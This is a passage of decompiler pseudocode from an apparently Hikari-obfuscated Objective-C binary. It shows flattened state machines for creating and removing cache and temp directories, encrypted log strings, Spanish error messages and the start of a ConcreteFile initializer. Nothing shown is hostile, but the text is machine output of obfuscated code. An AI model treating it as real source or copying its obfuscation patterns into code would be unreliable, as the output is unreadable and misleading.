if ( v36 <= -1996257261 )
{
if ( v36 == -2058947432 )
{
*v53 = 863138071;
}
else if ( v36 == -2027376165 )
{
*v53 = 1083014503;
v33 = v44;
}
}
else
{
switch ( v36 )
{
case -1996257260:
objc_retain(v44);
v6 = 1;
v1 = 600311812;
v7 = -1996257260;
goto LABEL_195;
case -1951434923:
v12 = objc_msgSend(v45, "localizedDescription");
v13 = objc_retainAutoreleasedReturnValue(v12);
v0 = 1;
v41 = v13;
v1 = 915689295;
v2 = -1549755689;
goto LABEL_203;
case -1949529052:
v0 = 1;
v1 = 915689295;
v2 = -1951434923;
goto LABEL_203;
}
}
}
else if ( v36 <= -2103916349 )
{
if ( v36 == -2141110056 )
{
objc_release(v41);
objc_release(v45);
v0 = 1;
v1 = -2141110056;
v2 = -115741866;
goto LABEL_203;
}
if ( v36 == -2136682261 )
*v53 = -660140599;
}
else
{
switch ( v36 )
{
case -2103916348:
*v53 = -624215203;
break;
case -2095315204:
asc_100263B30[17] = v51 ^ 0x2E;
asc_100263B30[18] = 100;
asc_100263B30[19] = 105;
asc_100263B30[20] = 114;
asc_100263B30[21] = 101;
asc_100263B30[22] = 99;
asc_100263B30[23] = 116;
asc_100263B30[24] = 111;
asc_100263B30[25] = 114;
asc_100263B30[26] = 105;
v52 = 9;
*v53 = 1372443641;
break;
case -2081665169:
*v53 = -460993395;
break;
}
}
}
else if ( v36 <= -1578790617 )
{
if ( v36 <= -1862353590 )
{
if ( v36 == -1894562911 )
{
v0 = 0;
v1 = 508549520;
v2 = -1421847535;
goto LABEL_203;
}
if ( v36 == -1882191485 )
*v53 = -373072019;
}
else
{
switch ( v36 )
{
case -1862353589:
*v53 = 639615325;
break;
case -1724287742:
dword_10029F220 = 1;
v37 = (id *)(&v28 - 2);
v14 = +[NSBundle mainBundle](&OBJC_CLASS___NSBundle, "mainBundle");
v31 = objc_retainAutoreleasedReturnValue(v14);
v15 = objc_msgSend(v31, "infoDictionary");
v16 = objc_retainAutoreleasedReturnValue(v15);
v17 = HikariFunctionWrapper_247(v16, "objectForKey:");
v40 = objc_retainAutoreleasedReturnValue(v17);
objc_release(v16);
*v53 = -1017946079;
break;
case -1712914834:
NSLog(
CFSTR("\xDE\xDF\tE\x1A\xE6\x03\xCC\xC0\x0E\xFBʔIm\x0F\xE4\x5F\x45\x95Ő\xF1\x34\xBE\x68\x91\xAA\x92&(\x15"),
v41);
*v53 = -39886163;
break;
}
}
}
else if ( v36 > -1421847536 )
{
switch ( v36 )
{
case -1421847535:
v18 = NSTemporaryDirectory();
objc_retainAutoreleasedReturnValue(v18);
*v53 = 508549520;
break;
case -1161882616:
objc_release(v38);
objc_release(v43);
objc_release(v40);
objc_release(v44);
objc_autoreleaseReturnValue(v39);
*v53 = -411298536;
break;
case -1017946079:
v6 = 1;
v1 = 1255077470;
LABEL_191:
v7 = -1547666411;
goto LABEL_195;
}
}
else
{
switch ( v36 )
{
case -1578790616:
*v37 = 0;
v49 = (unsigned __int8)objc_msgSend(
v38,
"createDirectoryAtPath:withIntermediateDirectories:attributes:error:",
v44,
1,
0,
v37);
v45 = *v37;
*v53 = 109803291;
break;
case -1549755689:
*v53 = 1890213507;
break;
case -1547666411:
objc_release(v31);
v4 = NSSearchPathForDirectoriesInDomains(NSCachesDirectory, 1u, 1);
objc_retainAutoreleasedReturnValue(v4);
*v53 = 1255077470;
break;
}
}
}
else if ( v36 > -466933688 )
{
if ( v36 <= -329960801 )
{
if ( v36 <= -411298537 )
{
if ( v36 == -466933687 )
{
*v53 = 1021641796;
}
else if ( v36 == -460993395 )
{
*v53 = 1809293367;
}
}
else
{
switch ( v36 )
{
case -411298536:
objc_release(v38);
objc_release(v43);
objc_release(v40);
objc_release(v44);
objc_autoreleaseReturnValue(v39);
v1 = 111034538;
goto LABEL_214;
case -406277142:
v1 = 1198756684;
goto LABEL_214;
case -373072019:
v0 = 1;
v35 = dword_10029F220;
v1 = -373072019;
v2 = 1158321754;
goto LABEL_203;
}
}
}
else if ( v36 > -156495069 )
{
switch ( v36 )
{
case -156495068:
objc_retain(v45);
*v53 = 2109252080;
break;
case -115741866:
*v53 = 1083014503;
v33 = 0;
break;
case -39886163:
NSLog(
CFSTR("\xDE\xDF\tE\x1A\xE6\x03\xCC\xC0\x0E\xFBʔIm\x0F\xE4\x5F\x45\x95Ő\xF1\x34\xBE\x68\x91\xAA\x92&(\x15"),
v41);
v6 = 0;
v1 = -1712914834;
v7 = 297259775;
goto LABEL_195;
}
}
else
{
switch ( v36 )
{
case -329960800:
asc_100263B30[27] = v52 - 2 * (v52 & 0x66) + 102;
asc_100263B30[28] = 58;
asc_100263B30[29] = 32;
asc_100263B30[30] = 37;
asc_100263B30[31] = 64;
asc_100263B30[32] = 0;
*v53 = 1560011740;
break;
case -180129901:
strcpy(asc_100263C20, "CFBundleIdentifier");
qmemcpy(asc_100263B30, "Error al crear el", 17);
v51 = 14;
*v53 = 933497213;
break;
case -180090011:
*v53 = 1489311300;
break;
}
}
}
else if ( v36 <= -744582521 )
{
if ( v36 <= -885929892 )
{
if ( v36 == -969065871 )
{
objc_retain(v44);
*v53 = -1996257260;
}
else if ( v36 == -930622605 )
{
v1 = 863138071;
goto LABEL_214;
}
}
else
{
switch ( v36 )
{
case -885929891:
*v53 = 1856141573;
break;
case -831989287:
v42 = v32;
goto LABEL_207;
case -783361349:
v8 = !v46;
v1 = -1724287742;
v9 = -180129901;
goto LABEL_212;
}
}
}
else if ( v36 > -660140600 )
{
switch ( v36 )
{
case -660140599:
v0 = 0;
v1 = 643401610;
v2 = -660140599;
goto LABEL_203;
case -624215203:
v0 = 1;
v1 = -969065871;
v2 = -1996257260;
goto LABEL_203;
case -519080242:
v1 = 1938530389;
goto LABEL_214;
}
}
else
{
switch ( v36 )
{
case -744582520:
objc_release(v41);
objc_release(v45);
*v53 = -2141110056;
break;
case -686612016:
*v53 = 1938530389;
break;
case -666647413:
v0 = 1;
v1 = -744582520;
v2 = -2141110056;
goto LABEL_203;
}
}
}
if ( v36 <= 1078787047 )
break;
if ( v36 <= 1489311299 )
{
if ( v36 > 1255077469 )
{
if ( v36 <= 1372443640 )
{
if ( v36 == 1255077470 )
{
objc_release(v31);
v19 = NSSearchPathForDirectoriesInDomains(NSCachesDirectory, 1u, 1);
v20 = objc_retainAutoreleasedReturnValue(v19);
v6 = 1;
v43 = v20;
v1 = -885929891;
goto LABEL_191;
}
if ( v36 == 1312472115 )
*v53 = 285414782;
}
else
{
switch ( v36 )
{
case 1372443641:
*v53 = 398182007;
break;
case 1410134939:
asc_100263B30[17] = v51 ^ 0x2E;
asc_100263B30[18] = 100;
asc_100263B30[19] = 105;
asc_100263B30[20] = 114;
asc_100263B30[21] = 101;
asc_100263B30[22] = 99;
asc_100263B30[23] = 116;
asc_100263B30[24] = 111;
asc_100263B30[25] = 114;
asc_100263B30[26] = 105;
*v53 = -2095315204;
break;
case 1456618373:
v10 = objc_msgSend(v42, "stringByAppendingPathComponent:", v40);
v44 = objc_retainAutoreleasedReturnValue(v10);
objc_release(v42);
v11 = +[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager");
v38 = objc_retainAutoreleasedReturnValue(v11);
v48 = (unsigned __int8)objc_msgSend(v38, "fileExistsAtPath:", v44) == 0;
v0 = 0;
v1 = 165659988;
v2 = 967677212;
goto LABEL_203;
}
}
}
else if ( v36 <= 1093840227 )
{
if ( v36 == 1078787048 )
{
v8 = !v47;
v1 = 664555462;
v9 = -1894562911;
goto LABEL_212;
}
if ( v36 == 1083014503 )
{
v39 = v33;
v0 = 1;
v1 = -1161882616;
v2 = -411298536;
goto LABEL_203;
}
}
else
{
switch ( v36 )
{
case 1093840228:
*v53 = -1724287742;
break;
case 1158321754:
*v53 = -930622605;
break;
case 1198756684:
v8 = 0;
v1 = 703667630;
v9 = -2103916348;
goto LABEL_212;
}
}
}
else if ( v36 <= 1856141572 )
{
if ( v36 <= 1560011739 )
{
if ( v36 == 1489311300 )
{
v28 = "objectAtIndex:";
v1 = 1559154446;
goto LABEL_214;
}
if ( v36 == 1559154446 )
*v53 = 1903693813;
}
else
{
switch ( v36 )
{
case 1560011740:
v0 = 0;
asc_100263B30[27] = v52 ^ 0x66;
asc_100263B30[28] = 58;
asc_100263B30[29] = 32;
asc_100263B30[30] = 37;
asc_100263B30[31] = 64;
asc_100263B30[32] = 0;
v1 = 1093840228;
v2 = 1560011740;
goto LABEL_203;
case 1735983339:
v6 = 0;
v1 = -466933687;
v7 = 1021641796;
goto LABEL_195;
case 1809293367:
v8 = !v50;
v1 = 696640565;
v9 = -1949529052;
goto LABEL_212;
}
}
}
else if ( v36 > 1938530388 )
{
switch ( v36 )
{
case 1938530389:
v8 = 0;
v1 = 1938530389;
v9 = -2027376165;
goto LABEL_212;
case 2109252080:
objc_retain(v45);
v50 = v49 == 0;
v6 = 1;
v1 = 1312472115;
goto LABEL_174;
case 1963062265:
v6 = v34 < 0xC8FFB155;
v1 = -373072019;
v7 = -1882191485;
goto LABEL_195;
}
}
else
{
switch ( v36 )
{
case 1856141573:
v8 = 0;
v1 = 230010155;
v9 = 81505882;
goto LABEL_212;
case 1890213507:
v8 = 0;
v1 = -1712914834;
v9 = -39886163;
goto LABEL_212;
case 1903693813:
v5 = objc_msgSend(v43, v28, 0);
v29 = (NSString *)objc_retainAutoreleasedReturnValue(v5);
*v53 = 402926262;
break;
}
}
}
if ( v36 <= 639615324 )
break;
if ( v36 <= 823552827 )
{
if ( v36 <= 664555461 )
{
if ( v36 == 639615325 )
{
v8 = 0;
v1 = -2136682261;
v9 = -660140599;
LABEL_212:
if ( !v8 )
v1 = v9;
goto LABEL_214;
}
if ( v36 == 643401610 )
{
*v53 = -831989287;
v32 = v30;
}
}
else
{
switch ( v36 )
{
case 664555462:
v8 = 0;
v1 = -180090011;
v9 = 1489311300;
goto LABEL_212;
case 696640565:
objc_release(v45);
*v53 = -406277142;
break;
case 703667630:
*v53 = 1198756684;
break;
}
}
}
else if ( v36 > 933497212 )
{
switch ( v36 )
{
case 933497213:
v1 = -2095315204;
goto LABEL_214;
case 967677212:
v23 = HikariFunctionWrapper_249(v42, "stringByAppendingPathComponent:");
v24 = objc_retainAutoreleasedReturnValue(v23);
objc_release(v42);
v25 = +[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager");
v26 = objc_retainAutoreleasedReturnValue(v25);
-[NSFileManager fileExistsAtPath:](v26, "fileExistsAtPath:", v24);
LABEL_207:
*v53 = 1456618373;
break;
case 1021641796:
v1 = -783361349;
goto LABEL_214;
}
}
else
{
switch ( v36 )
{
case 823552828:
*v53 = 1735983339;
break;
case 863138071:
v46 = v35 == 0;
v0 = 0;
v1 = 823552828;
v2 = 863138071;
LABEL_203:
if ( v0 )
v1 = v2;
goto LABEL_214;
case 915689295:
v3 = objc_msgSend(v45, "localizedDescription");
objc_retainAutoreleasedReturnValue(v3);
*v53 = -1951434923;
break;
}
}
}
if ( v36 <= 297259774 )
break;
if ( v36 <= 402926261 )
{
if ( v36 == 297259775 )
{
*v53 = -666647413;
}
else if ( v36 == 398182007 )
{
v6 = 0;
v1 = -329960800;
v7 = 1560011740;
goto LABEL_195;
}
}
else
{
switch ( v36 )
{
case 402926262:
*v53 = -831989287;
v32 = v29;
break;
case 508549520:
v21 = NSTemporaryDirectory();
v22 = objc_retainAutoreleasedReturnValue(v21);
v6 = 1;
v30 = v22;
v1 = -1862353589;
v7 = 508549520;
LABEL_195:
if ( !v6 )
v1 = v7;
LABEL_214:
*v53 = v1;
break;
case 600311812:
*v53 = -519080242;
break;
}
}
}
if ( v36 <= 165659987 )
break;
switch ( v36 )
{
case 165659988:
v8 = !v48;
v1 = -624215203;
v9 = -1578790616;
goto LABEL_212;
case 230010155:
objc_msgSend(v43, "count");
*v53 = 81505882;
break;
case 285414782:
v6 = 1;
v1 = -460993395;
v7 = -2081665169;
goto LABEL_195;
}
}
if ( v36 == 81505882 )
{
v47 = objc_msgSend(v43, "count") == 0;
v1 = 1078787048;
goto LABEL_214;
}
if ( v36 == 109803291 )
{
v6 = 0;
v1 = -156495068;
LABEL_174:
v7 = 2109252080;
goto LABEL_195;
}
}
while ( v36 != 111034538 );
return v39;
}
// 10029F220: using guessed type int dword_10029F220;
//----- (000000010001CC16) ----------------------------------------------------
__int64 __fastcall removeFileOrDirectoryAtPath(id a1)
{
__int64 result; // rax
NSFileManager *v2; // rax
NSFileManager *v3; // rax
bool v4; // zf
int v5; // eax
int v6; // ecx
bool v7; // zf
int v8; // ecx
id v9; // rax
__int64 v10; // [rsp+0h] [rbp-60h] BYREF
id v11; // [rsp+8h] [rbp-58h]
int v12; // [rsp+10h] [rbp-50h]
int v13; // [rsp+14h] [rbp-4Ch] BYREF
id *v14; // [rsp+18h] [rbp-48h]
id v15; // [rsp+20h] [rbp-40h]
bool v16; // [rsp+2Fh] [rbp-31h]
int *v17; // [rsp+30h] [rbp-30h]
v12 = 1879859588;
v13 = 1316928949;
v17 = &v13;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v13;
if ( v13 <= -123252280 )
break;
if ( v13 > 1090881254 )
{
if ( v13 > 1497831505 )
{
switch ( v13 )
{
case 1497831506:
v9 = HikariFunctionWrapper_251(&OBJC_CLASS___NSFileManager, "defaultManager");
v15 = objc_retainAutoreleasedReturnValue(v9);
v16 = (unsigned __int8)objc_msgSend(v15, "fileExistsAtPath:", a1) == 0;
v5 = -1510530335;
goto LABEL_55;
case 1915623320:
*v17 = -362606794;
break;
case 2121750588:
objc_release(a1);
*v17 = 397348612;
break;
}
}
else
{
switch ( v13 )
{
case 1090881255:
v7 = 0;
v5 = -1109899516;
v8 = -1085626160;
LABEL_44:
if ( v7 )
v5 = v8;
LABEL_55:
*v17 = v5;
break;
case 1209855488:
objc_retain(a1);
*v17 = -356938754;
break;
case 1316928949:
v7 = v12 == 76830161;
v5 = -330065935;
v8 = -1778224027;
goto LABEL_44;
}
}
}
else if ( v13 > 397348611 )
{
switch ( v13 )
{
case 397348612:
v5 = 1915623320;
goto LABEL_55;
case 606533808:
*v14 = 0;
*v17 = -1215667743;
break;
case 869221831:
*v17 = 1209855488;
break;
}
}
else
{
switch ( v13 )
{
case -123252279:
objc_release(v15);
v5 = -919279970;
goto LABEL_55;
case -53720426:
v4 = 0;
v5 = -1713987620;
v6 = -123252279;
LABEL_53:
if ( !v4 )
v5 = v6;
goto LABEL_55;
case 197891783:
v2 = +[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager");
v3 = objc_retainAutoreleasedReturnValue(v2);
-[NSFileManager fileExistsAtPath:](v3, "fileExistsAtPath:", a1);
*v17 = 1497831506;
break;
}
}
}
if ( v13 > -1109899517 )
break;
if ( v13 > -1459490781 )
{
switch ( v13 )
{
case -1459490780:
*v17 = -53720426;
break;
case -1215667743:
objc_msgSend(v15, "removeItemAtPath:error:", a1, v14);
v11 = *v14;
objc_retain(v11);
*v17 = 1090881255;
break;
case -1141026574:
*v17 = 1915623320;
break;
}
}
else
{
switch ( v13 )
{
case -1778224027:
*v17 = -330065935;
break;
case -1713987620:
objc_release(v15);
*v17 = -123252279;
break;
case -1510530335:
v4 = !v16;
v5 = 606533808;
v6 = -53720426;
goto LABEL_53;
}
}
}
if ( v13 > -362606795 )
break;
switch ( v13 )
{
case -1109899516:
objc_release(v11);
v5 = -1459490780;
goto LABEL_55;
case -1085626160:
objc_release(v11);
*v17 = -1109899516;
break;
case -919279970:
*v17 = 2121750588;
break;
}
}
if ( v13 == -356938754 )
{
v5 = 1497831506;
goto LABEL_55;
}
if ( v13 == -330065935 )
{
v7 = 0;
v14 = (id *)(&v10 - 2);
v5 = 869221831;
v8 = -330065935;
goto LABEL_44;
}
}
while ( v13 != -362606794 );
return result;
}
//----- (000000010001D1A7) ----------------------------------------------------
__int64 __fastcall createDirectoryAtPath(id a1)
{
bool v1; // cf
int v2; // eax
int v3; // ecx
bool v4; // zf
int v5; // ecx
id v6; // rax
char v7; // cf
int v8; // ecx
id v9; // rax
id v10; // r15
int v11; // eax
id v12; // rax
id v13; // r15
const char *v15; // [rsp+0h] [rbp-70h] BYREF
id v16; // [rsp+8h] [rbp-68h]
unsigned int v17; // [rsp+14h] [rbp-5Ch]
int v18; // [rsp+18h] [rbp-58h]
int v19; // [rsp+1Ch] [rbp-54h] BYREF
id v20; // [rsp+20h] [rbp-50h]
id v21; // [rsp+28h] [rbp-48h]
id *v22; // [rsp+30h] [rbp-40h]
bool v23; // [rsp+3Bh] [rbp-35h]
bool v24; // [rsp+3Ch] [rbp-34h]
char v25; // [rsp+3Dh] [rbp-33h]
char v26; // [rsp+3Eh] [rbp-32h]
char v27; // [rsp+3Fh] [rbp-31h]
int *v28; // [rsp+40h] [rbp-30h]
v17 = 1804814780;
v19 = 556056513;
v28 = &v19;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v19 <= 556056512 )
{
if ( v19 > -536457538 )
{
if ( v19 <= 141423948 )
{
if ( v19 > -75641131 )
{
switch ( v19 )
{
case -75641130:
v7 = 1;
v2 = 1409740407;
v8 = 1962160618;
goto LABEL_133;
case 29472326:
v4 = 0;
v2 = 757208134;
v5 = 735596059;
goto LABEL_122;
case 132409430:
*v28 = -867693465;
break;
}
}
else
{
switch ( v19 )
{
case -536457537:
v2 = 422094044;
goto LABEL_135;
case -408064533:
*v28 = 210885020;
break;
case -276553364:
v4 = 0;
a9Y[23] = v26 ^ 0xA;
a9Y[24] = 58;
a9Y[25] = 32;
a9Y[26] = 37;
a9Y[27] = 64;
a9Y[28] = 0;
v2 = -1168657186;
v5 = 132409430;
goto LABEL_122;
}
}
}
else if ( v19 <= 266213711 )
{
switch ( v19 )
{
case 141423949:
objc_release(a1);
*v28 = 1534986781;
break;
case 210885020:
v7 = 1;
v2 = 2109761085;
v8 = -536457537;
goto LABEL_133;
case 211659586:
v7 = 1;
v2 = 1405685760;
v8 = 371620608;
goto LABEL_133;
}
}
else if ( v19 > 371620607 )
{
if ( v19 == 371620608 )
{
*v28 = -1312754916;
v27 = 0;
}
else if ( v19 == 422094044 )
{
v4 = !v23;
v2 = -867693465;
v5 = 943415572;
goto LABEL_122;
}
}
else if ( v19 == 266213712 )
{
objc_release(v21);
*v28 = 747481280;
}
else if ( v19 == 347367407 )
{
*v28 = 1697233012;
}
}
else if ( v19 <= -1159375416 )
{
if ( v19 > -1637246618 )
{
switch ( v19 )
{
case -1637246617:
v1 = 1;
v2 = -276553364;
v3 = -1168657186;
goto LABEL_106;
case -1312754916:
v25 = v27;
v2 = 1534986781;
goto LABEL_135;
case -1168657186:
a9Y[23] = v26 ^ 0xA;
a9Y[24] = 58;
a9Y[25] = 32;
a9Y[26] = 37;
a9Y[27] = 64;
a9Y[28] = 0;
*v28 = -276553364;
break;
}
}
else
{
switch ( v19 )
{
case -2128459320:
v16 = &OBJC_CLASS___NSFileManager;
*v28 = 1674391118;
break;
case -1717901983:
objc_release(v20);
v11 = 1398414083;
if ( !v21 )
v11 = -1312754916;
goto LABEL_130;
case -1715743521:
v18 = dword_10029F228;
v2 = -1047623634;
goto LABEL_135;
}
}
}
else if ( v19 <= -867693466 )
{
switch ( v19 )
{
case -1159375415:
NSLog(CFSTR("9͋+(y@\xCC\x6D+\xB02B\x9A8tn\x15F\\h\xCC\x3E\xEE\x5D\x60\x02~\x97"), v21);
v2 = -622856597;
goto LABEL_135;
case -1050020521:
dword_10029F228 = 1;
objc_retain(a1);
*v28 = 975320792;
break;
case -1047623634:
*v28 = -75641130;
break;
}
}
else if ( v19 > -707592794 )
{
if ( v19 == -707592793 )
{
*v28 = -2128459320;
}
else if ( v19 == -622856597 )
{
*v28 = 1663821679;
}
}
else
{
if ( v19 == -867693465 )
{
v1 = 1;
v2 = 975320792;
v3 = -1050020521;
goto LABEL_106;
}
if ( v19 == -794846700 )
*v28 = -1717901983;
}
}
if ( v19 > 1405685759 )
break;
if ( v19 <= 943415571 )
{
if ( v19 > 757208133 )
{
switch ( v19 )
{
case 757208134:
*v22 = 0;
HikariFunctionWrapper_259(
v20,
"createDirectoryAtPath:withIntermediateDirectories:attributes:error:");
objc_retain(*v22);
*v28 = 735596059;
break;
case 892195535:
v15 = "defaultManager";
v12 = HikariFunctionWrapper_253(v16, "defaultManager");
v13 = objc_retainAutoreleasedReturnValue(v12);
v24 = (unsigned __int8)objc_msgSend(v13, "fileExistsAtPath:", a1) == 0;
objc_release(v13);
v4 = 0;
v2 = 892195535;
v5 = 1932500811;
LABEL_122:
if ( !v4 )
v2 = v5;
goto LABEL_135;
case 924412344:
v6 = HikariFunctionWrapper_255(&OBJC_CLASS___NSFileManager, v15);
v20 = objc_retainAutoreleasedReturnValue(v6);
*v28 = 29472326;
break;
}
}
else
{
switch ( v19 )
{
case 556056513:
v1 = v17 < 0x320BD1BA;
v2 = 2087413075;
v3 = -1715743521;
goto LABEL_106;
case 735596059:
*v22 = 0;
HikariFunctionWrapper_257(
v20,
"createDirectoryAtPath:withIntermediateDirectories:attributes:error:");
v21 = *v22;
objc_retain(v21);
v7 = 0;
v2 = -794846700;
v8 = 757208134;
goto LABEL_133;
case 747481280:
objc_release(v21);
*v28 = 347367407;
break;
}
}
}
else if ( v19 <= 1016712757 )
{
switch ( v19 )
{
case 943415572:
v4 = 0;
v2 = 1016712758;
v5 = 1239132217;
goto LABEL_122;
case 975320792:
dword_10029F228 = 1;
v22 = (id *)(&v15 - 2);
objc_retain(a1);
v7 = 0;
v2 = -707592793;
v8 = 975320792;
LABEL_133:
if ( v7 )
v2 = v8;
LABEL_135:
*v28 = v2;
break;
case 1006194780:
v9 = objc_msgSend(v16, "defaultManager");
v10 = objc_retainAutoreleasedReturnValue(v9);
objc_msgSend(v10, "fileExistsAtPath:", a1);
objc_release(v10);
*v28 = 892195535;
break;
}
}
else if ( v19 > 1268749569 )
{
if ( v19 == 1268749570 )
{
NSLog(CFSTR("9͋+(y@\xCC\x6D+\xB02B\x9A8tn\x15F\\h\xCC\x3E\xEE\x5D\x60\x02~\x97"), v21);
*v28 = -1159375415;
}
else if ( v19 == 1398414083 )
{
v7 = 1;
v2 = 1268749570;
v8 = -1159375415;
goto LABEL_133;
}
}
else if ( v19 == 1016712758 )
{
qmemcpy(a9Y, "Error creando direc", 19);
*v28 = 1239132217;
}
else if ( v19 == 1239132217 )
{
qmemcpy(a9Y, "Error creando direc", 19);
v1 = 1;
v2 = 1893548009;
v3 = 1239132217;
goto LABEL_106;
}
}
if ( v19 <= 1893548008 )
break;
if ( v19 > 2070650277 )
{
switch ( v19 )
{
case 2070650278:
a9Y[19] = 116;
a9Y[20] = 111;
a9Y[21] = 114;
a9Y[22] = 105;
v26 = 101;
*v28 = -1637246617;
break;
case 2087413075:
*v28 = -1715743521;
break;
case 2109761085:
*v28 = -536457537;
break;
}
}
else
{
switch ( v19 )
{
case 1893548009:
*v28 = 2070650278;
break;
case 1932500811:
v11 = -1312754916;
if ( v24 )
v11 = 924412344;
LABEL_130:
*v28 = v11;
v27 = 1;
break;
case 1962160618:
v23 = v18 == 0;
v1 = 1;
v2 = -408064533;
v3 = 1962160618;
goto LABEL_106;
}
}
}
if ( v19 <= 1663821678 )
break;
switch ( v19 )
{
case 1663821679:
v1 = 0;
v2 = 266213712;
v3 = 747481280;
LABEL_106:
if ( !v1 )
v2 = v3;
goto LABEL_135;
case 1674391118:
v2 = 892195535;
goto LABEL_135;
case 1697233012:
v7 = 0;
v2 = 211659586;
v8 = 1405685760;
goto LABEL_133;
}
}
if ( v19 > 1450292984 )
break;
if ( v19 == 1405685760 )
{
*v28 = 211659586;
}
else if ( v19 == 1409740407 )
{
*v28 = 1962160618;
}
}
if ( v19 == 1534986781 )
{
objc_release(a1);
v4 = 0;
v2 = 141423949;
v5 = 1450292985;
goto LABEL_122;
}
}
while ( v19 != 1450292985 );
return (unsigned int)v25;
}
// 10029F228: using guessed type int dword_10029F228;
//----- (000000010001E200) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010001E210) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_245(void *a1, const char *a2)
{
return HikariFunctionWrapper_2(a1, a2);
}
//----- (000000010001E220) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_246(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010001E230) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_247(void *a1, const char *a2)
{
return HikariFunctionWrapper_246(a1, a2);
}
//----- (000000010001E240) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_248(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010001E250) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_249(void *a1, const char *a2)
{
return HikariFunctionWrapper_248(a1, a2);
}
//----- (000000010001E260) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_250(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010001E270) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_251(void *a1, const char *a2)
{
return HikariFunctionWrapper_250(a1, a2);
}
//----- (000000010001E280) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_252(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010001E290) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_253(void *a1, const char *a2)
{
return HikariFunctionWrapper_252(a1, a2);
}
//----- (000000010001E2A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_254(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010001E2B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_255(void *a1, const char *a2)
{
return HikariFunctionWrapper_254(a1, a2);
}
//----- (000000010001E2C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_256(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010001E2D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_257(void *a1, const char *a2)
{
return HikariFunctionWrapper_256(a1, a2);
}
//----- (000000010001E2E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_258(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010001E2F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_259(void *a1, const char *a2)
{
return HikariFunctionWrapper_258(a1, a2);
}
//----- (000000010001E300) ----------------------------------------------------
ConcreteFile *__cdecl -[ConcreteFile initWithPath:domain:owner:group:contents:inode:](
ConcreteFile *self,
SEL a2,
id a3,
id a4,
unsigned __int64 a5,
unsigned __int64 a6,
id a7,
unsigned __int64 a8)
{
int v9; // eax
char v10; // cf
int v11; // ecx
char v12; // cf
int v13; // ecx
bool v14; // zf
int v15; // ecx
ConcreteFile *v16; // r14
NSData *v17; // rdi
ConcreteFile *v18; // rax
ConcreteFile *v19; // r15
NSData *contents; // rdi
uint32_t v21; // eax
int v22; // eax
__int64 v24; // [rsp+0h] [rbp-B0h] BYREF
unsigned __int64 v25; // [rsp+8h] [rbp-A8h]
unsigned __int64 *p_mode; // [rsp+10h] [rbp-A0h]
__int64 v27; // [rsp+18h] [rbp-98h]
__int64 v28; // [rsp+20h] [rbp-90h]
unsigned __int64 v29; // [rsp+28h] [rbp-88h]
unsigned __int64 v30; // [rsp+30h] [rbp-80h]
unsigned __int64 v31; // [rsp+38h] [rbp-78h]
unsigned __int64 v32; // [rsp+40h] [rbp-70h]
id v33; // [rsp+48h] [rbp-68h]
ConcreteFile *v34; // [rsp+50h] [rbp-60h]
int v35; // [rsp+5Ch] [rbp-54h]
uint32_t v36; // [rsp+60h] [rbp-50h]
int v37; // [rsp+64h] [rbp-4Ch] BYREF
objc_super *v38; // [rsp+68h] [rbp-48h]
ConcreteFile *v39; // [rsp+70h] [rbp-40h]
bool v40; // [rsp+7Bh] [rbp-35h]
char v41; // [rsp+7Ch] [rbp-34h]
bool v42; // [rsp+7Dh] [rbp-33h]
bool v43; // [rsp+7Eh] [rbp-32h]
bool v44; // [rsp+7Fh] [rbp-31h]
int *v45; // [rsp+80h] [rbp-30h]
v31 = a6;
v32 = a5;
v33 = a4;
v34 = self;
v35 = dword_10029F22C;
v37 = -130518898;
v45 = &v37;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v37 > 115727572 )
{
if ( v37 <= 1040229024 )
{
if ( v37 <= 625010164 )
{
if ( v37 <= 339703193 )
{
if ( v37 > 163041768 )
{
if ( v37 == 163041769 )
{
*(Class *)((char *)&v39->super.super.isa + v27) = (Class)v31;
v19 = v39;
objc_retain(a7);
contents = v19->_contents;
v19->_contents = (NSData *)a7;
objc_release(contents);
*v45 = -1332807840;
}
else if ( v37 == 256586128 )
{
v14 = 0;
v9 = -1040850419;
v15 = 1065948823;
goto LABEL_190;
}
}
else if ( v37 == 115727573 )
{
*v45 = 1565318414;
}
else if ( v37 == 127458458 )
{
*v45 = -65105052;
}
}
else if ( v37 <= 513294309 )
{
if ( v37 == 339703194 )
{
v14 = 0;
v9 = 339703194;
v15 = -1898963193;
goto LABEL_190;
}
if ( v37 == 436324495 )
*v45 = 1884995469;
}
else
{
switch ( v37 )
{
case 513294310:
objc_release(a3);
v9 = 744569890;
goto LABEL_196;
case 557904931:
v14 = !v42;
v9 = 626669364;
v15 = 2144157519;
goto LABEL_190;
case 585046873:
aU[2] = v41;
aU[3] = 66;
aU[4] = 85;
aU[5] = 71;
aU[6] = 93;
aU[7] = 32;
aU[8] = 77;
aU[9] = 111;
aU[10] = 100;
aU[11] = 101;
aU[12] = 32;
aU[13] = 115;
aU[14] = 101;
